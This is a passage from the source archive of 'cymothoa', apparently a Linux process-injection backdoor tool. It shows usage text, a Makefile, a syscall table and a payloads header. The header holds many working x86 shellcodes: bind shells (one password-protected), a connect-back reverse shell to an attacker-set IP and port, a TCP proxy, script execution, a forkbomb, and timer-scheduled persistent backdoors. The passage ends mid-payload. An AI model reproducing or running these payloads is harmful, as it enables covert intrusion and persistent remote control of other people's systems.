"\t-W\tdon't pass persistent memory address\n" "\t-a\tuse alarm scheduler\n" "\t-A\tdon't use alarm scheduler\n" "\t-t\tuse setitimer scheduler\n" "\t-T\tdon't use setitimer scheduler\n\n" "Payload arguments:\n" "\t-j\tset timer (seconds)\n" "\t-k\tset timer (microseconds)\n" "\t-x\tset the IP\n" "\t-y\tset the port number\n" "\t-r\tset the port number 2\n" "\t-z\tset the username (4 bytes)\n" "\t-o\tset the password (8 bytes)\n" "\t-c\tset the script code (ex: \"#!/bin/sh\\nls; exit 0\")\n" "\t \tescape codes will not be interpreted...\n"; // memory permissions #define MEM_EXEC 0 #define MEM_WRITE 1 // payload structure struct payload { char *description; size_t len; char *shellcode; int options; }; // payload flags #define OPT_NEED_FORK 1 #define OPT_NEED_PERSISTENT 2 #define OPT_NEED_ALARM 4 #define OPT_NEED_SETITIMER 8 #define OPT_USE_SETITIMER 16 #define OPT_NEED_THREAD 32 // arguments structure struct arguments { // standard arguments pid_t pid; // process pid int payload_index; // the selected payload char *lib_name; // library region where to put the shellcode char *lib_name_mem; // memory region for persistent memory // payload arguments uint32_t timer_sec; // timer seconds uint32_t timer_micro; // timer microseconds uint32_t my_ip; // our ip address uint16_t my_port; // our port number uint16_t my_port2; // our port number 2 char *my_username; // our username char *my_password; // our password char *my_script; // script code // payload flags from cmd-line int fork:1; int no_fork:1; int thread:1; int no_thread:1; int persistent:1; int no_persistent:1; int alarm:1; int no_alarm:1; int setitimer:1; int no_setitimer:1; // actions int show_help:1; // show the help/usage screen int show_payloads:1; // show the list of payloads } args; // payload stuff... char *sh_buffer = NULL; int main_shellcode_len; int payload_len; int payload_count; int need_fork; int need_thread; int need_persistent; int need_alarm; int need_setitimer; int use_setitimer; uint32_t persistent_addr; #include "payloads.h" #include "personalization.h" // ARCHITECTURAL DEFINES // 32 bit #ifdef __i386__ // stack push size #define BLOCK_SIZE 4 // registers #define AX eax #define BX ebx #define INST_POINTER eip #define STACK_POINTER esp #endif // 64 bit #ifdef __x86_64__ // stack push size #define BLOCK_SIZE 8 // registers #define AX rax #define BX rbx #define INST_POINTER rip #define STACK_POINTER rsp #endif cymothoa-1-beta/Makefile0000644000175000017500000000021111566737263014472 0ustar dummydummymake: cc bgrep.c -o bgrep cc udp_server.c -o udp_server cc cymothoa.c -o cymothoa -Dlinux_x86 clean: rm -f bgrep cymothoa udp_server cymothoa-1-beta/syscalls.txt0000644000000000000000000001160311566714432015056 0ustar rootroot1 sys_exit error_code 2 sys_fork 3 sys_read fd buf count 4 sys_write fd buf count 5 sys_open filename flags mode 6 sys_close fd 7 sys_waitpid pid stat_addr options 8 sys_creat pathname mode 9 sys_link oldname newname 10 sys_unlink pathname 11 sys_execve program *args 12 sys_chdir filename 13 sys_time tloc 14 sys_mknod filename mode dev 15 sys_chmod filename mode 16 sys_lchown filename user group 19 sys_lseek fd offset origin 20 sys_getpid void 21 sys_mount dev_name dir_name type new_flags data 22 sys_umount name flags 23 sys_setuid uid 24 sys_getuid void 25 sys_stime tptr 26 sys_ptrace request pid addr data 27 sys_alarm seconds 29 sys_pause void 30 sys_utime filename times 33 sys_access filename mode 34 sys_nice increment 36 sys_sync void 37 sys_kill pid sig 38 sys_rename oldname newname 39 sys_mkdir pathname mode 40 sys_rmdir pathname 41 sys_dup fildes 42 sys_pipe fildes 43 sys_times tbuf 45 sys_brk brk 46 sys_setgid gid 47 sys_getgid void 48 sys_signal sig handler 49 sys_geteuid void 50 sys_getegid void 51 sys_acct *name 54 sys_ioctl fd cmd arg 55 sys_fcntl fd cmd arg 57 sys_setpgid pid pgid 60 sys_umask mask 61 sys_chroot filename 62 sys_ustat dev ubuf 63 sys_dup2 oldfd newfd 64 sys_getppid void 65 sys_getpgrp void 66 sys_setsid void 67 sys_sigaction sig *act *oact 68 sys_sgetmask void 69 sys_ssetmask newmask 70 sys_setreuid ruid euid 71 sys_setregid rgid egid 72 sys_sigsuspend history0 history1 mask 73 sys_sigpending *set 74 sys_sethostname *name len 75 sys_setrlimit resource *rlim 76 sys_getrlimit resource *rlim 77 sys_getrusage who *ru 78 sys_gettimeofday *tv *tz 79 sys_settimeofday *tv *tz 80 sys_getgroups gidsetsize *grouplist 81 sys_setgroups gidsetsize *grouplist 82 sys_select n *inp *outp *exp *tvp 83 sys_symlink oldname newname 85 sys_readlink path buf bufsiz 86 sys_uselib library 87 sys_swapon specialfile swap_flags 88 sys_reboot magic1 magic2 cmd arg 91 sys_munmap addr len 92 sys_truncate path length 93 sys_ftruncate fd length 94 sys_fchmod fd mode 95 sys_fchown fd user group 96 sys_getpriority which who 97 sys_setpriority which who niceval 99 sys_stat filename statbuf 99 sys_statfs path buf 100 sys_fstat fd statbuf 100 sys_fstatfs fd buf 101 sys_ioperm from num turn_on 102 sys_socketcall subcall_number *args 102 sys_socket $1 *args 102 sys_bind $2 *args 102 sys_listen $4 *args 102 sys_accept $5 *args 102 sys_sendto $11 *args 103 sys_syslog type buf len 104 sys_setitimer which *value *ovalue 105 sys_getitimer which *value 107 sys_lstat filename statbuf 109 sys_olduname name 110 sys_iopl unused 111 sys_vhangup void 112 sys_idle void 113 sys_vm86old v86 113 sys_vm86 subfunction v86 114 sys_wait4 pid stat_addr options ru 115 sys_swapoff specialfile 116 sys_sysinfo *info 117 sys_ipc call first second third *ptr fifth 118 sys_fsync fd 119 sys_sigreturn __unused 120 sys_clone regs 121 sys_setdomainname *name len 122 sys_uname name 123 sys_modify_ldt func *ptr bytecount 124 sys_adjtimex *txc_p 124 sys_adjtimex *txc_p 125 sys_mprotect start len prot 126 sys_sigprocmask how *set *oset 127 sys_create_module *name_user size 127 sys_create_module *name_user size 128 sys_init_module *name_user *mod_user 129 sys_delete_module *name_user 130 sys_get_kernel_syms *table 131 sys_quotactl cmd *special id addr 132 sys_getpgid pid 133 sys_fchdir fd 134 sys_bdflush func data 135 sys_sysfs option arg1 arg2 138 sys_setfsuid uid 141 sys_getdents fd dirent count 143 sys_flock fd cmd 144 sys_msync start len flags 145 sys_readv fd vector count 146 sys_writev fd vector count 147 sys_getsid pid 148 sys_fdatasync fd 150 sys_mlock start len 151 sys_munlock start len 152 sys_mlockall flags 153 sys_munlockall void 154 sys_sched_setparam pid *param 155 sys_sched_getparam pid *param 156 sys_sched_setscheduler pid policy *param 157 sys_sched_getscheduler pid 158 sys_sched_yield void 159 sys_sched_get_priority_max policy 160 sys_sched_get_priority_min policy 161 sys_sched_rr_get_interval pid *interval 162 sys_nanosleep *rqtp *rmtp 163 sys_mremap addr old_len new_len flags 164 sys_setresuid ruid euid suid 165 sys_getresuid *ruid *euid *suid 167 sys_query_module *name_user which *buf bufsize *ret 168 sys_poll ufds nfds timeout 169 sys_nfsservctl cmd *argp *resp 170 sys_setresgid rgid egid sgid 171 sys_getresgid *rgid *egid *sgid 172 sys_prctl option arg2 arg3 arg4 arg5 173 sys_rt_sigreturn __unused 174 sys_rt_sigaction sig *act *oact sigsetsize 175 sys_rt_sigprocmask how *set *oset sigsetsize 176 sys_rt_sigpending *set sigsetsize 177 sys_rt_sigtimedwait *uthese *uinfo *uts sigsetsize 178 sys_rt_sigqueueinfo pid sig *uinfo 179 sys_rt_sigsuspend *unewset sigsetsize 180 sys_pread fd buf count pos 181 sys_pwrite fd buf count pos 182 sys_chown filename user group 183 sys_getcwd *buf size 184 sys_capget header dataptr 185 sys_capset header data 186 sys_sigaltstack *uss *uoss 187 sys_send fd buff len flags 187 sys_sendfile out_fd in_fd *offset count 190 sys_vfork regs 274 sys_bind fd *umyaddr addrlen 274 sys_mbind fd *umyaddr addrlen cymothoa-1-beta/payloads.h0000644000175000017500000003671611614010650015014 0ustar dummydummy// List of payload struct /* * Characters used for personalization (like a bookmark) * * Note: the length of the mark string is equal to the length * of the field in the shellcode (in bytes). Important! */ const char *ip_mark = "IPV4", // hex 0x49505634 *port_mark = "PR", // hex 0x5052 *username_mark = "USER", // hex 0x55534552 *password_mark = "PASS", // hex 0x50415353 *script_mark = "SCRIPT", // hex 0x534352495054 *persistent_mark = "PMEM", // hex 0x504d454d *seconds_mark = "SECS", // hex 0x53454353 *microsec_mark = "MICS"; // hex 0x4d494353 /* * Shellcode that fork() the parent process. * Child process exec the injected code, parent just return to his normal * behaviour... */ /* push %eax # save %eax value (needed by parent process) push $2 pop %eax int $0x80 # fork test %eax, %eax jz shellcode # child jumps to shellcode pop %eax # parent process ret # is restored shellcode: # append your shellcode */ #define FORK_SHELLCODE "\x50\x6a\x02\x58\xcd\x80\x85\xc0\x74\x02\x58\xc3" char fork_shellcode[] = FORK_SHELLCODE; size_t fork_shellcode_len = sizeof(FORK_SHELLCODE); /* * Shellcode that creates a new thread for the parasite. * Child process exec the injected code, parent just return to his normal * behaviour... */ /* * See payloads/clone_shellcode.s for the assembly source */ #define THREAD_SHELLCODE "\x60\x31\xc0\xb0\x78\xbb\x00\x89\x01\x00\xcd\x80\x85\xc0\x74\x02\x61\xc3" char thread_shellcode[] = THREAD_SHELLCODE; size_t thread_shellcode_len = sizeof(THREAD_SHELLCODE); /* * List of embedded shellcodes */ /* payload structure: struct payload { char *description; size_t len; char *shellcode; int options; }; */ struct payload payloads[] = { //#ifdef linux_x86 // LINUX 32 #define CODE_0 "\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x66\x68" "PR" "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x02\x5b\x6a\x66\x58\xcd\x80\x6a\x66\x58\x6a\x04\x5b\xcd\x80\x31\xc9\x51\x51\x56\x89\xe1\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" { "bind /bin/sh to the provided port (requires -y)", sizeof(CODE_0), CODE_0, OPT_NEED_FORK }, #define CODE_1 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50\x50\x66\x68" "PR" "\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0\x89\xf3\xb0\x06\xcd\x80\xeb\x99" { "bind /bin/sh + fork() to the provided port (requires -y) - izik ", sizeof(CODE_1), CODE_1, OPT_NEED_FORK }, #define CODE_2 "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68" "PR" "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x96\x52\x68\x72\x64\x3a\x20\x68\x73\x73\x77\x6f\x66\x68\x50\x61\x89\xe7\x6a\x0a\x57\x56\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x52\x6a\x08\x8d\x4c\x24\x08\x51\x56\x89\xe1\xb3\x0a\xb0\x66\xcd\x80\x87\xf3\x52\x68" "PASS" "\x68" "PASS" "\x89\xe7\x8d\x74\x24\x1c\x89\xd1\x80\xc1\x08\xfc\xf3\xa6\x74\x04\xf7\xf0\xcd\x80\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" { "bind /bin/sh to tcp port with password authentication (requires -y -o)", sizeof(CODE_2), CODE_2, OPT_NEED_FORK }, #define CODE_3 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68" "IPV4" "\x66\x68" "PR" "\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80" { "/bin/sh connect back (requires -x, -y)", sizeof(CODE_3), CODE_3, OPT_NEED_FORK }, #define CODE_4 "\xe8\xff\xff\xff\xff\xc6\x4e\x5e\x81\xc6\x18\xfc\xff\xff\xeb\x48\x89\xc3\x6a\x03\x59\xb0\xdd\xcd\x80\x56\x89\xde\x80\xcc\x08\x6a\x04\x59\xb0\xdd\xcd\x80\x93\x5e\xc3\x89\xc2\x83\xe0\x1f\xc1\xea\x05\x8d\x8e\x78\xff\xff\xff\x0f\xab\x04\x91\xc3\x93\xb0\x03\x8d\x8e\x48\xf4\xff\xff\x66\xba\x01\x08\xcd\x80\xc3\x93\xb0\x04\x8d\x8e\x48\xf4\xff\xff\xcd\x80\xc3\x8d\xbe\xf8\xfe\xff\xff\x31\xc0\x31\xc9\x66\xb9\x01\x01\xf3\xaa\x31\xc0\x6a\x01\x5b\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5a\x68\x7e\xff\xfe\xff\x81\x04\x24\x01\x01\x01\x01\x68 xor\x81\x04\x24t@tt\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\xb0\x66\xcd\x80\x5a\x50\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\x46\xfc\xe8\x5b\xff\xff\xff\xe8\x6f\xff\xff\xff\x31\xc0\x6a\x01\x5b\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x43\x5f\x68y64.\x81\x04\x24org \x68need\x81\x04\x24job\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x58\x89\x46\xf8\xe8\x19\xff\xff\xff\xe8\x2d\xff\xff\xff\x8b\x5e\xfc\x8b\x4e\xf8\x6a\x01\x53\x51\x6a\x02\x51\x53\x39\xd9\x7e\x02\x89\xcb\x56\x43\x8d\x8e\x78\xff\xff\xff\x31\xd2\x31\xf6\x31\xff\xb0\x8e\xcd\x80\x5e\x58\x50\x89\xc2\x83\xe0\x1f\xc1\xea\x05\x8d\x8e\x78\xff\xff\xff\x0f\xa3\x04\x91\x73\x04\x59\x59\xeb\x32\x58\x50\xe8\xe5\xfe\xff\xff\x58\x31\xff\x47\x83\x7c\x24\x04\x02\x74\x02\xf7\xdf\x01\xf8\xe8\xe4\xfe\xff\xff\x39\xc0\x89\xc2\x58\x31\xff\x47\x83\x3c\x24\x02\x75\x02\xf7\xdf\x01\xf8\xe8\xdd\xfe\xff\xff\x59\xe2\xb1\xeb\x88" { "tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)", sizeof(CODE_4), CODE_4, OPT_NEED_FORK}, #define CODE_5 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xff\x31\xf6\x50\x68\x30\x2e\x70\x6c\x68\x70\x74\x30\x30\x68\x73\x63\x72\x69\x89\xe3\xb0\x05\xb1\x41\xcd\x80\xeb\x38\x89\xde\x89\xc3\x5f\x57\x31\xc9\x31\xc0\xf7\xd1\xf2\xae\xf7\xd1\x49\x5f\x89\xc8\x89\xf9\x89\xc2\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x89\xf3\xb0\x0f\x66\xb9\xfc\x01\xcd\x80\xb0\x0b\x31\xc9\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff" \ "SCRIPT example (it will be overwritten): #!/usr/bin/perl\nprint \"hello!\\n\"; sleep(5);" \ "we allocate also some space for user defined scripts:" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" \ "bufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbufferbuffer" { "script execution (see the payload), creates a tmp file you must remove", sizeof(CODE_5), CODE_5, OPT_NEED_FORK }, #define CODE_6 "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x22\x31\xc0\xfe\xc0\xcd\x80\x59\xb2\x1b\xcd\x80\xb0\x06\x89\xf3\xcd\x80\xb0\x01\x31\xdb\xcd\x80\x5e\xb0\x66\xfe\xc3\x89\xe1\xcd\x80\xff\xe6\x99\x31\xc0\x31\xdb\x6a\x06\x6a\x01\x6a\x02\xe8\xe5\xff\xff\xff\x89\xc7\x31\xd2\x52\x66\x68\x22\x60\x66\x53\x89\xe1\x6a\x10\x51\x57\xe8\xcf\xff\xff\xff\xfe\xc3\x6a\x05\x57\xe8\xc5\xff\xff\xff\x31\xc9\x52\x52\x57\xe8\xbb\xff\xff\xff\x89\xc6\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x10\x31\xc0\xb0\x06\x89\xf3\xcd\x80\x31\xc0\x31\xdb\xb3\x04\xeb\xda\x89\xf3\xb0\x04\xe8\x85\xff\xff\xff\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32\x30\x30\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x3a\x29\x3c\x2f\x68\x31\x3e" { "forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/", sizeof(CODE_6), CODE_6, OPT_NEED_FORK}, #define CODE_7 "\x31\xd2\x31\xc0\x6a\x02\x59\x66\xb8\x53\x30\x50\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x6a\x05\x58\x89\xc6\xcd\x80\x89\xc6\x31\xc9\x89\xf3\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf3\x66\xb8\x73\x68\x50\x89\xe1\x52\x51\x89\xe1\x52\x68\x79\x62\x6f\x78\x68\x2f\x62\x75\x73\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" { "serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com", sizeof(CODE_7), CODE_7, OPT_NEED_FORK}, #define CODE_8 "\x6a\x02\x58\xcd\x80\xeb\xf9" { "forkbomb (just for fun...) - Kris Katterjohn", sizeof(CODE_8), CODE_8, OPT_NEED_FORK }, #define CODE_9 "\x6a\x05\x58\x31\xc9\x51\xb5\x08\x68\x64\x72\x6f\x6d\x68\x65\x76\x2f\x63\x68\x2f\x2f\x2f\x64\x89\xe3\xcd\x80\x89\xc3\x66\xb9\x09\x53\xb0\x36\xcd\x80\xeb\xfa" { "open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org", sizeof(CODE_9), CODE_9, OPT_NEED_FORK }, #define CODE_10 "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0f\x31\xc9\x66\xb9\x1c\x02\x80\x36\x03\x46\xe2\xfa\xea\xb8\x03\x03\x03\x2c\x61\x6a\x6d\x2c\x70\x6b\x03\x7d\x03\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x7f\x79\x75\x76\x76\x77\x72\x6e\x69\x68\x6d\x70\x76\x76\x72\x6e\x69\x64\x65\x60\x63\x5e\x58\x58\x5e\x5d\x5d\x5e\x5c\x61\x64\x6e\x70\x78\xa5\xaf\xb1\xb5\xbf\xbc\xc0\xc6\xc6\xc1\xc2\xbd\xbe\xb9\xbb\xb6\xac\xaa\xa0\x6d\x6f\x66\x6a\x69\x64\x55\x26\x33\x4d\x54\x5d\x43\x38\x35\x46\x40\x63\x60\x61\x55\x48\x49\x4d\x5d\x66\x6e\x6a\x64\x63\x59\x54\x63\x69\x6f\x70\x7a\x7b\x77\x7b\x79\x75\x71\x6d\x72\x72\x70\x71\x72\x6d\x72\x70\x70\x70\x79\x76\x6c\x6d\x6f\x6e\x68\x70\x75\x6e\x65\x65\x69\x68\x72\x75\x7d\x7f\x7e\x7d\x7f\x79\x78\x78\x7e\x79\x7e\x7d\x7f\x74\x75\x77\x70\x75\x79\x7f\x78\x7a\x75\x71\x73\x72\x09\x03\x2c\x67\x66\x75\x2c\x67\x70\x73\x03\x82\xef\x64\x28\x03\x03\x8a\xf5\x56\x8a\xe6\x80\xef\x1f\x54\x55\x50\xeb\x03\x03\x03\x03\x58\x82\xc0\xb9\x12\x03\x03\xc4\x46\xfb\x03\x03\x03\x03\xc4\x46\xff\x03\x03\x03\x03\x8e\x80\x76\xee\xfc\xfc\x8a\x46\xfb\x8e\xb8\x7e\xee\xfc\xfc\x8e\x90\x93\xee\xfc\xfc\x8a\x56\xeb\x8e\x88\x24\xed\xfc\xfc\x8a\xcd\xbb\x06\x03\x03\x03\xba\x02\x03\x03\x03\xb9\x83\x02\x03\x03\x50\x8a\xf0\xce\x83\x8a\x46\xf7\xbb\x2a\x03\x03\x03\x88\x76\xf7\x50\x8a\xf0\xce\x83\x8a\x46\xe7\xbb\x07\x03\x03\x03\x88\x76\xe7\x88\x4e\xeb\xb9\x95\x03\x03\x03\x50\x8a\xf0\xce\x83\xbb\x07\x03\x03\x03\x50\x8a\xf0\xce\x83\xc4\x46\xf3\x03\x03\x03\x03\xbb\x07\x03\x03\x03\x88\x76\xe7\x8a\xfa\xb9\x02\x03\x03\x03\x50\x8a\xf0\xce\x83\xfc\x46\xf3\x82\x7e\xf3\x54\x01\x03\x03\x7d\xe3\xbb\x07\x03\x03\x03\x88\x4e\xeb\xb9\x95\x03\x03\x03\x50\x8a\xf0\xce\x83\xbb\x07\x03\x03\x03\x50\x8a\xf0\xce\x83\xc4\x46\xf3\x03\x03\x03\x03\x93\xbb\x07\x03\x03\x03\x88\x76\xe7\x8a\xfa\xb9\x02\x03\x03\x03\x50\x8a\xf0\xce\x83\xfc\x46\xf3\x82\x7e\xf3\x54\x01\x03\x03\x7d\xe3\xbb\x07\x03\x03\x03\x88\x4e\xeb\xb9\x95\x03\x03\x03\x50\x8a\xf0\xce\x83\xbb\x07\x03\x03\x03\x50\x8a\xf0\xce\x83\xbb\x05\x03\x03\x03\x50\x8a\xf0\xce\x83\xbb\x05\x03\x03\x03\x88\x76\xf7\x50\x8a\xf0\xce\x83\xbb\x45\x03\x03\x03\x32\xf5\x32\xca\x50\x8a\xf0\xce\x83\x8e\x7e\xfb\xbb\x08\x03\x03\x03\x88\x76\xfb\x8a\xfa\x32\xd1\x50\x8a\xf0\xce\x83\x32\xc3\x8e\x66\xdb\x58\x5d\x5c\xca\xc0\x93\x69" { "audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)", sizeof(CODE_10), CODE_10, OPT_NEED_FORK }, #define CODE_11 "\x60\x31\xc0\x31\xdb\xb0\x1b\xb3\x01\xcd\x80\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x09\x59\x83\xe9\x23\xcd\x80\x61\xeb\x05\xe8\xf2\xff\xff\xff\x60\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\xeb\x07\x59\xb2\x05\xcd\x80\x61\xc3\xe8\xf4\xff\xff\xff\x68\x61\x68\x61\x0a" { "POC alarm() scheduled shellcode", sizeof(CODE_11), CODE_11, 0 }, #define CODE_12 "\x60\x31\xc0\x31\xdb\x31\xd2\xb0\x68\xeb\x06\x59\xcd\x80\x61\xeb\x15\xe8\xf5\xff\xff\xff\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x60\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x09\x59\x83\xe9\x19\xcd\x80\x61\xeb\x05\xe8\xf2\xff\xff\xff\x60\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\xeb\x07\x59\xb2\x05\xcd\x80\x61\xc3\xe8\xf4\xff\xff\xff\x68\x61\x68\x61\x0a" { "POC setitimer() scheduled shellcode", sizeof(CODE_12), CODE_12, 0 }, #define CODE_13 "\x60\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x08\x59\x83\xe9\x18\xcd\x80\xeb\x05\xe8\xf3\xff\xff\xff\xbe\x50\x4d\x45\x4d\x8b\x06\x3d\xef\xbe\xad\xde\x0f\x84\x81\x00\x00\x00\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xeb\x14\x59\xcd\x80\xbb\xef\xbe\xad\xde\x89\x1e\x83\xc6\x04\x89\x06\x83\xee\x04\xeb\x11\xe8\xe7\xff\xff\xff\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x89\xc3\x31\xc0\xb0\x37\x31\xc9\xb1\x03\xcd\x80\x89\xc2\x31\xc0\xb0\x37\xb1\x04\x81\xca\x00\x08\x00\x00\xcd\x80\xeb\x13\x59\x6a\x10\x51\x53\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x89\xe1\xcd\x80\xeb\x0d\xe8\xe8\xff\xff\xff\x02\x00\x50\x52\x00\x00\x00\x00\x58\x5b\x6a\x10\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x89\xe1\xcd\x80\x5f\x5f\x5f\x31\xc9\x51\x51\x83\xc6\x04\xff\x36\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xe1\xcd\x80\x89\xc2\x5f\x5f\x5f\x85\xc0\x78\x0a\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x24\x31\xc0\xb0\x06\x89\xd3\xcd\x80\x31\xc0\xb0\x07\x31\xdb\x4b\x31\xc9\x31\xd2\xb2\x01\xcd\x80\x31\xc0\xb0\x1b\xbb\x53\x45\x43\x53\xcd\x80\x61\xc3\x31\xc0\x31\xc9\x89\xd3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\xeb\x0b\x5b\x31\xc9\x51\x53\x89\xe1\x89\xe2\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" { "alarm() backdoor (requires -j -y) bind port, fork on accept", sizeof(CODE_13), CODE_13, OPT_NEED_PERSISTENT }, #define CODE_14 "\x60\x31\xc0\x31\xdb\x31\xd2\xb0\x68\xeb\x06\x59\xcd\x80\x61\xeb\x15\xe8\xf5\xff\xff\xff\x00\x00\x00\x00\x4d\x49\x43\x53\x00\x00\x00\x00\x4d\x49\x43\x53\x60\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x09\x59\x83\xe9\x19\xcd\x80\x61\xeb\x05\xe8\xf2\xff\xff\xff\x60\xbe\x50\x4d\x45\x4d\x8b\x06\x3d\xef\xbe\xad\xde\x74\x11\xb8\xef\xbe\xad\xde\x89\x06\x83\xc6\x04\x31\xc0\x89\x06\x83\xee\x04\x31\xc0\xb0\x05\xe9\xa3\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc7\x89\xfb\x31\xc0\xb0\x13\x31\xc9\x31\xd2\xb2\x02\xcd\x80\x83\xc6\x04\x8b\x1e\x89\x06\x85\xdb\x74\x79\x39\xc3\x74\x75\x89\xc6\x29\xde\x31\xc0\xb0\x13\x89\xd9\x89\xfb\x31\xd2\xcd\x80\x29\xf4\x31\xc0\xb0\x03\x89\xfb\x89\xe1\x89\xf2\xcd\x80\x89\xe5\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xeb\x05\x59\xcd\x80\xeb\x11\xe8\xf6\xff\xff\xff\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xeb\x18\x59\x6a\x10\x51\x31\xc9\x51\x52\x55\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x0b\x89\xe1\x